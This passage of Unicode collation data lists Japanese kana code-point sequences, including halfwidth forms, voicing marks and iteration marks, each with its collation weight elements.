[.3D69.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -30C8 30FC ; [.3D6E.0020.0011.0002][.3D5F.0020.0007.0002] # -FF84 30FC ; [.3D6E.0020.0011.0002][.3D5F.0020.0007.0002] # -FF84 FF70 ; [.3D6E.0020.0011.0002][.3D5F.0020.0007.0002] # -3068 30FC ; [.3D6E.0020.0011.0001][.3D5F.0020.0007.0002] # -30C9 30FC ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -30C8 3099 30FC ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF84 FF9E 30FC ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF84 FF9E FF70 ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -3069 30FC ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -3068 3099 30FC ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -30CE 30FC ; [.3D73.0020.0011.0002][.3D5F.0020.0007.0002] # -FF89 30FC ; [.3D73.0020.0011.0002][.3D5F.0020.0007.0002] # -FF89 FF70 ; [.3D73.0020.0011.0002][.3D5F.0020.0007.0002] # -306E 30FC ; [.3D73.0020.0011.0001][.3D5F.0020.0007.0002] # -30DB 30FC ; [.3D78.0020.0011.0002][.3D5F.0020.0007.0002] # -FF8E 30FC ; [.3D78.0020.0011.0002][.3D5F.0020.0007.0002] # -FF8E FF70 ; [.3D78.0020.0011.0002][.3D5F.0020.0007.0002] # -307B 30FC ; [.3D78.0020.0011.0001][.3D5F.0020.0007.0002] # -30DC 30FC ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -30DB 3099 30FC ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF8E FF9E 30FC ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF8E FF9E FF70 ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -307C 30FC ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -307B 3099 30FC ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # -30DD 30FC ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # -30DB 309A 30FC ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # -FF8E FF9F 30FC ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # -FF8E FF9F FF70 ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # -307D 30FC ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D5F.0020.0007.0002] # -307B 309A 30FC ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D5F.0020.0007.0002] # -30E2 30FC ; [.3D7D.0020.0011.0002][.3D5F.0020.0007.0002] # -FF93 30FC ; [.3D7D.0020.0011.0002][.3D5F.0020.0007.0002] # -FF93 FF70 ; [.3D7D.0020.0011.0002][.3D5F.0020.0007.0002] # -3082 30FC ; [.3D7D.0020.0011.0001][.3D5F.0020.0007.0002] # -30E7 30FC ; [.3D81.0020.000F.0002][.3D5F.0020.0007.0002] # -FF6E 30FC ; [.3D81.0020.000F.0002][.3D5F.0020.0007.0002] # -FF6E FF70 ; [.3D81.0020.000F.0002][.3D5F.0020.0007.0002] # -3087 30FC ; [.3D81.0020.000F.0001][.3D5F.0020.0007.0002] # -30E8 30FC ; [.3D81.0020.0011.0002][.3D5F.0020.0007.0002] # -FF96 30FC ; [.3D81.0020.0011.0002][.3D5F.0020.0007.0002] # -FF96 FF70 ; [.3D81.0020.0011.0002][.3D5F.0020.0007.0002] # -3088 30FC ; [.3D81.0020.0011.0001][.3D5F.0020.0007.0002] # -30ED 30FC ; [.3D86.0020.0011.0002][.3D5F.0020.0007.0002] # -FF9B 30FC ; [.3D86.0020.0011.0002][.3D5F.0020.0007.0002] # -FF9B FF70 ; [.3D86.0020.0011.0002][.3D5F.0020.0007.0002] # -308D 30FC ; [.3D86.0020.0011.0001][.3D5F.0020.0007.0002] # -30F2 30FC ; [.3D8A.0020.0011.0002][.3D5F.0020.0007.0002] # -FF66 30FC ; [.3D8A.0020.0011.0002][.3D5F.0020.0007.0002] # -FF66 FF70 ; [.3D8A.0020.0011.0002][.3D5F.0020.0007.0002] # -3092 30FC ; [.3D8A.0020.0011.0001][.3D5F.0020.0007.0002] # -30FA 30FC ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -30F2 3099 30FC ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF66 FF9E 30FC ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -FF66 FF9E FF70 ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # -31F3 30FC ; [.3D6E.0020.000F][.3D5F.0020.0007.0002] # -31F9 30FC ; [.3D78.0020.000F][.3D5F.0020.0007.0002] # -31FF 30FC ; [.3D86.0020.000F][.3D5F.0020.0007.0002] # -30A1 30FD ; [.3D5A.0020.000F.0002][.3D5A.0020.0010.0002] # -FF67 30FD ; [.3D5A.0020.000F.0002][.3D5A.0020.0010.0002] # -3041 309D ; [.3D5A.0020.000F.0001][.3D5A.0020.0010.0002] # -30A2 30FD ; [.3D5A.0020.0011.0002][.3D5A.0020.0010.0002] # -FF71 30FD ; [.3D5A.0020.0011.0002][.3D5A.0020.0010.0002] # -3042 309D ; [.3D5A.0020.0011.0001][.3D5A.0020.0010.0002] # -30A3 30FD ; [.3D5B.0020.000F.0002][.3D5B.0020.0010.0002] # -FF68 30FD ; [.3D5B.0020.000F.0002][.3D5B.0020.0010.0002] # -3043 309D ; [.3D5B.0020.000F.0001][.3D5B.0020.0010.0002] # -30A4 30FD ; [.3D5B.0020.0011.0002][.3D5B.0020.0010.0002] # -FF72 30FD ; [.3D5B.0020.0011.0002][.3D5B.0020.0010.0002] # -3044 309D ; [.3D5B.0020.0011.0001][.3D5B.0020.0010.0002] # -30A5 30FD ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002] # -FF69 30FD ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002] # -3045 309D ; [.3D5C.0020.000F.0001][.3D5C.0020.0010.0002] # -30A5 30FE ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -FF69 30FE ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -3045 309E ; [.3D5C.0020.000F.0001][.3D5C.0020.0010.0002][.0000.0037.0002] # -30A6 30FD ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002] # -FF73 30FD ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002] # -3046 309D ; [.3D5C.0020.0011.0001][.3D5C.0020.0010.0002] # -30A6 30FE ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -FF73 30FE ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -3046 309E ; [.3D5C.0020.0011.0001][.3D5C.0020.0010.0002][.0000.0037.0002] # -30A7 30FD ; [.3D5E.0020.000F.0002][.3D5E.0020.0010.0002] # -FF6A 30FD ; [.3D5E.0020.000F.0002][.3D5E.0020.0010.0002] # -3047 309D ; [.3D5E.0020.000F.0001][.3D5E.0020.0010.0002] # -30A8 30FD ; [.3D5E.0020.0011.0002][.3D5E.0020.0010.0002] # -FF74 30FD ; [.3D5E.0020.0011.0002][.3D5E.0020.0010.0002] # -3048 309D ; [.3D5E.0020.0011.0001][.3D5E.0020.0010.0002] # -30A9 30FD ; [.3D5F.0020.000F.0002][.3D5F.0020.0010.0002] # -FF6B 30FD ; [.3D5F.0020.000F.0002][.3D5F.0020.0010.0002] # -3049 309D ; [.3D5F.0020.000F.0001][.3D5F.0020.0010.0002] # -30AA 30FD ; [.3D5F.0020.0011.0002][.3D5F.0020.0010.0002] # -FF75 30FD ; [.3D5F.0020.0011.0002][.3D5F.0020.0010.0002] # -304A 309D ; [.3D5F.0020.0011.0001][.3D5F.0020.0010.0002] # -30AB 30FD ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002] # -FF76 30FD ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002] # -304B 309D ; [.3D60.0020.0011.0001][.3D60.0020.0010.0002] # -30AB 30FE ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -FF76 30FE ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -304B 309E ; [.3D60.0020.0011.0001][.3D60.0020.0010.0002][.0000.0037.0002] # -30AC 30FD ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002] # -30AB 3099 30FD ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002] # -FF76 FF9E 30FD ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002] # -304C 309D ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002] # -304B 3099 309D ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002] # -30AC 30FE ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -30AB 3099 30FE ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -FF76 FF9E 30FE ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -304C 309E ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -304B 3099 309E ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -30AD 30FD ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002] # -FF77 30FD ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002] # -304D 309D ; [.3D61.0020.0011.0001][.3D61.0020.0010.0002] # -30AD 30FE ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002][.0000.0037.0002] # -FF77 30FE ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002][.0000.0037.0002] # -304D 309E ; [.3D61.0020.0011.0001][.3D61.0020.0010.0002][.0000.0037.0002] # -30AE 30FD ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002] # -30AD 3099 30FD ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002] # -FF77 FF9E 30FD ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002] # -304E 309D ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002] # -304D 3099 309D ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002] # -30AE 30FE ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # -30AD 3099 30FE ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # -FF77 FF9E 30FE ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # -304E 309E ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # -304D 3099 309E ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # -30AF 30FD ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002] # -FF78 30FD ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002] # -304F 309D ; [.3D62.0020.0011.0001][.3D62.0020.0010.0002] # -30AF 30FE ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002][.0000.0037.0002] # -FF78 30FE ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002][.0000.0037.0002] # -304F 309E ; [.3D62.0020.0011.0001][.3D62.0020.0010.0002][.0000.0037.0002] # -30B0 30FD ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002] # -30AF 3099 30FD ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002] # -FF78 FF9E 30FD ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002] # -3050 309D ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002] # -304F 3099 309D ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002] # -30B0 30FE ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # -30AF 3099 30FE ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # -FF78 FF9E 30FE ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # -3050 309E ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # -304F 3099 309E ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # -30B1 30FD ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002] # -FF79 30FD ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002] # -3051 309D ; [.3D63.0020.0011.0001][.3D63.0020.0010.0002] # -30B1 30FE ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -FF79 30FE ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -3051 309E ; [.3D63.0020.0011.0001][.3D63.0020.0010.0002][.0000.0037.0002] # -30B2 30FD ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002] # -30B1 3099 30FD ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002] # -FF79 FF9E 30FD ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002] # -3052 309D ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002] # -3051 3099 309D ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002] # -30B2 30FE ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -30B1 3099 30FE ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -FF79 FF9E 30FE ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -3052 309E ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -3051 3099 309E ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -30B3 30FD ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002] # -FF7A 30FD ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002] # -3053 309D ; [.3D64.0020.0011.0001][.3D64.0020.0010.0002] # -30B3 30FE ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002][.0000.0037.0002] # -FF7A 30FE ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002][.0000.0037.0002] # -3053 309E ; [.3D64.0020.0011.0001][.3D64.0020.0010.0002][.0000.0037.0002] # -30B4 30FD ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002] # -30B3 3099 30FD ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002] # -FF7A FF9E 30FD ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002] # -3054 309D ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002] # -3053 3099 309D ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002] # -30B4 30FE ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # -30B3 3099 30FE ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # -FF7A FF9E 30FE ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # -3054 309E ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # -3053 3099 309E ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # -30B5 30FD ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002] # -FF7B 30FD ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002] # -3055 309D ; [.3D65.0020.0011.0001][.3D65.0020.0010.0002] # -30B5 30FE ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002][.0000.0037.0002] # -FF7B 30FE ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002][.0000.0037.0002] # -3055 309E ; [.3D65.0020.0011.0001][.3D65.0020.0010.0002][.0000.0037.0002] # -30B6 30FD ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002] # -30B5 3099 30FD ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002] # -FF7B FF9E 30FD ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002] # -3056 309D ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002] # -3055 3099 309D ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002] # -30B6 30FE ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # -30B5 3099 30FE ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # -FF7B FF9E 30FE ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # -3056 309E ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # -3055 3099 309E ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # -30B7 30FD ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002] # -FF7C 30FD ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002] # -3057 309D ; [.3D66.0020.0011.0001][.3D66.0020.0010.0002] # -30B7 30FE ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002][.0000.0037.0002] # -FF7C 30FE ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002][.0000.0037.0002] # -3057 309E ; [.3D66.0020.0011.0001][.3D66.0020.0010.0002][.0000.0037.0002] # -30B8 30FD ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002] # -30B7 3099 30FD ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002] # -FF7C FF9E 30FD ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002] # -3058 309D ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002] # -3057 3099 309D ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002] # -30B8 30FE ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # -30B7 3099 30FE ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # -FF7C FF9E 30FE ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # -3058 309E ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # -3057 3099 309E ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # -30B9 30FD ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002] # -FF7D 30FD ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002] # -3059 309D ; [.3D67.0020.0011.0001][.3D67.0020.0010.0002] # -30B9 30FE ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002][.0000.0037.0002] # -FF7D 30FE ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002][.0000.0037.0002] # -3059 309E ; [.3D67.0020.0011.0001][.3D67.0020.0010.0002][.0000.0037.0002] # -30BA 30FD ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002] # -30B9 3099 30FD ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002] # -FF7D FF9E 30FD ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002] # -305A 309D ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002] # -3059 3099 309D ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002] # -30BA 30FE ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # -30B9 3099 30FE ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # -FF7D FF9E 30FE ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # -305A 309E ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # -3059 3099 309E ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # -30BB 30FD ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002] # -FF7E 30FD ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002] # -305B 309D ; [.3D68.0020.0011.0001][.3D68.0020.0010.0002] # -30BB 30FE ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002][.0000.0037.0002] # -FF7E 30FE ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002][.0000.0037.0002] # -305B 309E ; [.3D68.0020.0011.0001][.3D68.0020.0010.0002][.0000.0037.0002] # -30BC 30FD ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002] # -30BB 3099 30FD ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002] # -FF7E FF9E 30FD ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002] # -305C 309D ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002] # -305B 3099 309D ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002] # -30BC 30FE ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # -30BB 3099 30FE ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # -FF7E FF9E 30FE ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # -305C 309E ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # -305B 3099 309E ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # -30BD 30FD ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002] # -FF7F 30FD ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002] # -305D 309D ; [.3D69.0020.0011.0001][.3D69.0020.0010.0002] # -30BD 30FE ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002][.0000.0037.0002] # -FF7F 30FE ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002][.0000.0037.0002] # -305D 309E ; [.3D69.0020.0011.0001][.3D69.0020.0010.0002][.0000.0037.0002] # -30BE 30FD ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002] # -30BD 3099 30FD ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002] # -FF7F FF9E 30FD ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002] # -305E 309D ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002] # -305D 3099 309D ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002] # -30BE 30FE ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # -30BD 3099 30FE ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # -FF7F FF9E 30FE ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # -305E 309E ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # -305D 3099 309E ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # -30BF 30FD ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002] # -FF80 30FD ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002] # -305F 309D ; [.3D6A.0020.0011.0001][.3D6A.0020.0010.0002] # -30BF 30FE ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # -FF80 30FE ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # -305F 309E ; [.3D6A.0020.0011.0001][.3D6A.0020.0010.0002][.0000.0037.0002] # -30C0 30FD ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002] # -30BF 3099 30FD ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002] # -FF80 FF9E 30FD ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002] # -3060 309D ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002] # -305F 3099 309D ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002] # -30C0 30FE ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # -30BF 3099 30FE ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # -FF80 FF9E 30FE ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # -3060 309E ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # -305F 3099 309E ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # -30C1 30FD ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002] # -FF81 30FD ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002] # -3061 309D ; [.3D6B.0020.0011.0001][.3D6B.0020.0010.0002] # -30C1 30FE ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # -FF81 30FE ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # -3061 309E ; [.3D6B.0020.0011.0001][.3D6B.0020.0010.0002][.0000.0037.0002] # -30C2 30FD ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002] # -30C1 3099 30FD ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002] # -FF81 FF9E 30FD ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002] # -3062 309D ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002] # -3061 3099 309D ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002] # -30C2 30FE ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # -30C1 3099 30FE ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # -FF81 FF9E 30FE ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # -3062 309E ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # -3061 3099 309E ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # -30C3 30FD ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002] # -FF6F 30FD ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002] # -3063 309D ; [.3D6C.0020.000F.0001][.3D6C.0020.0010.0002] # -30C3 30FE ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -FF6F 30FE ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -3063 309E ; [.3D6C.0020.000F.0001][.3D6C.0020.0010.0002][.0000.0037.0002] # -30C4 30FD ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002] # -FF82 30FD ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002] # -3064 309D ; [.3D6C.0020.0011.0001][.3D6C.0020.0010.0002] # -30C4 30FE ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -FF82 30FE ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -3064 309E ; [.3D6C.0020.0011.0001][.3D6C.0020.0010.0002][.0000.0037.0002] # -30C5 30FD ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002] # -30C4 3099 30FD ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002] # -FF82 FF9E 30FD ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002] # -3065 309D ; 